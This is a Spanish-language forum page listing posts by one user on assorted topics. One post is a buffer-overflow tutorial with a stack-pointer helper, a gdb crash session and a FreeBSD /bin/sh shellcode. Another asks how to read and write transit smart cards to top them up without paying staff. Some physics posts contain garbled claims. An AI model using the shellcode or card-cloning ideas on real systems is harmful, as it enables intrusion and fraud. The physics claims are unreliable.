Menú

Mostrar Mensajes

Esta sección te permite ver todos los mensajes escritos por este usuario. Ten en cuenta que sólo puedes ver los mensajes escritos en zonas a las que tienes acceso en este momento.

Mostrar Mensajes Menú

Mensajes - AlbertoBSD

#2251
Bien zhynar_X, creo que si estas estudiado  ;D, y eso es bueno.

Bien vi tu codigo y es de los clasicos BOF, sin embargo el buffer que estas dejando en muy pequeño para propositos educativos y de aprendizaje, yo recomiendo buffer mas grande, ya que veas como funciona en un buffer grande, vas a ver la forma de hacerlo en buffer pequeños, sin embargo yo estoy casi seguro que con 12-16 bytes nadie va a poder meter un shellcode completo ahi  :xD.

Bien una direccion aproximada de la pila donde se esta almacenado tu variable la puedes conseguir con la siguente funcion

unsigned long get_esp(void)     {
   __asm__("movl %esp,%eax");
}


Sin embargo vas a tener que restar algunas decenas o centerares de bytes.

Ahora bueno para buffer pequeños, uso algo que le aprendi a rojodos  ;D

%gdb ./codigo
GNU gdb 6.1.1 [FreeBSD]
Copyright 2004 Free Software Foundation, Inc.
GDB is free software, covered by the GNU General Public License, and you are
welcome to change it and/or distribute copies of it under certain conditions.
Type "show copying" to see the conditions.
There is absolutely no warranty for GDB.  Type "show warranty" for details.
This GDB was configured as "i386-marcel-freebsd"...
(gdb) run AAAABBBBCCCCDDDDEEEEFFFFGGGGHHHHIIII
Starting program: /usr/home/luis/codigo AAAABBBBCCCCDDDDEEEEFFFFGGGGHHHHIIII

Has escrito:   AAAABBBBCCCCDDDDEEEEFFFFGGGGHHHHIIII

Program received signal SIGSEGV, Segmentation fault.
0x48484848 in ?? ()
(gdb) printf "%c\n", 0x48
H


Vemos que en mi sistema trata de saltar a las H's lo cual nos deja un buffer de 7x4 un total de 28 bytes para poder ejecutar un shell. huy en FreeBSD, he visto un shell de 25 bytes, creo que si se puede ejecutar  ;D, lo tengo que poder hacer, solo que atinarle al valor exacto que se tiene que meter al ret va a estar muy dificil de calcular.

Este solo es para FreeBSD

char shellcode[]=
"\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f"
"\x62\x69\x6e\x89\xe3\x50\x53\x50\x54\x53"
"\xb0\x3b\x50\xcd\x80";


Por eso comento que para practica personal, es necesario un buffer un poco mas grande.
#2252
Si esta chido el codigo. y solo lo havia visco con un Form Invisible, pero este es diferente esperemos que le sirva a mas de alguno
#2253
Multimedia / Re: No lo se hacer.
30 Diciembre 2007, 06:07 AM
AnyDVD es tu solucion, tambien puedes probar Alcohol 120% si lo que quieres es poderlos ver en tu PC sin necesidad de insertar el Disco
#2254
Scripting / Re: Batch colores
25 Diciembre 2007, 16:28 PM
En un Batch de ms-dos, claro lo tienes que saber programar en C, buscate el IDE, de Turbo C. y ya que lo tengas te digo como.
#2255
Bueno, creo tambien esta la opcion de que tambien se publique la respues a ver si a alguien le sirve, no hay que ser tan Envidiosos....

Bueno eso Pienso Yo.
#2256
Gracias eidtech
#2257
Recientemente note que algunos de los transportes publicos de mi ciudad, como el tren y otros destinados para personas de gran importancia ($$$$), empezaron a usar un tipo de smart Card como las del telefono, sin embargo estas no tienen el Chip a la vista.

De hecho cuando tu las usas, no importa de que lado utilices tu tarjeta, esta sirve por adelante y por detras, lo unico que ocupas hacer es colocarla de cualquier lado sobre la base de cobro.. y de hecho cuando vas a recargar tu tarjeta se la das a la persona encargada y le dices "50$ por favor" te pide tu tarjeta y solo la coloca sobre una base de plastico o algo parecido, despues en su programa teclea el numero 5 y luego el  0 y despues de un gran enter te pide que le des un billete de 50.... y eso me parece muy...  :rolleyes: ... No se.

Bueno la pregunta que me he estado haciendo, alguno de ustedes sabe como se llama este tipo de targetas, solo con eso me doy con el nombre correcto ya que con eso puedo buscar mas informacion ahi en google... y pues aprender a leer y escribir sonbre ellas, asi para ya no tener que hacer fila para que me la recargen.

Gracias
#2258
Buena pregunta, hay que resucitar a einstein para que nos la explique... o comprarnos un Libro de Fisica en la libreria mas cercana.
;D ;D ;D




Segun la teria especial de la retatividad de Einstein el tiempo que tu conoces aqui, no es el mismo en otros lados... si tu viajas a velocidades cercanas a la de la velocidad de la luz que viene ciendo un posible limite universal de velocidad,  para ti el tiempo pasara mas lento que para los demas. si viajaras a la velocidad de la luz, y fueras capas de ver, no podras ver nada ya que la luz viaja a esa velocidad, la alcanzarias y estuvieses a su velocidad... y muchas cosas mas que todavia falta por comprovar.
#2259
Bueno yo se que no se puede acelerar a la velocidad de la luz o superior, sin embargo en un ejercicio hipotetico en mi libro de fisica te  dicen que hay un agujero negro esferico con un radio de 14 milimetros, y te dicen que a 30000 Kilometros de el hay una roca de 5 Kg, hice los calculos necesarios para calcular la Fuerza entre los 2 objetos (cave mencionar que el agujero negro de radio de 14 milimetros tiene casi el doble de masa que la tierra), calcule que el objeto de  5 kg salia Disparado con una aceleracion inicial de 70 m/s2

Haciendo un poco de calculo fui reduciendo la distancia que se paraba a los objetos de mitad en mitad y depues de de estar a unos pocos kilometros del objeto masivo la piedra ya estaba totalmente desintegrada y  tenia una aceleracion superior a la de la luz y por mucho




Cabe mencionar que si moririas  imaginate a ti ser reducido a una esfera con mucho menos de un micrometro de radio.




Los Efectos que tu observaras si te acercaras a un agujero negro son los siguientes..

Comensarias a estirarte como chicle ya que ciertas partes de tu cuerpo estan mas cerca del agujero y estarias sometidas a mas aceleracion llegarias al Horizonte de eventos de una manera muy rapido casi instantatea.

Los observadores que esten presenciando este acto tuyo desde un telescopio nunca les alcanzaria la vida para ver como llegas, devido a lo que se conoce como dilatacion del Tiempo.
#2260
Pues si, sin embargo me entro la duda ya que no dicen ni en que se basan ni en nada, simplenten lo pongo aqui a ver si alguno de ustedes ha oido sobre el tema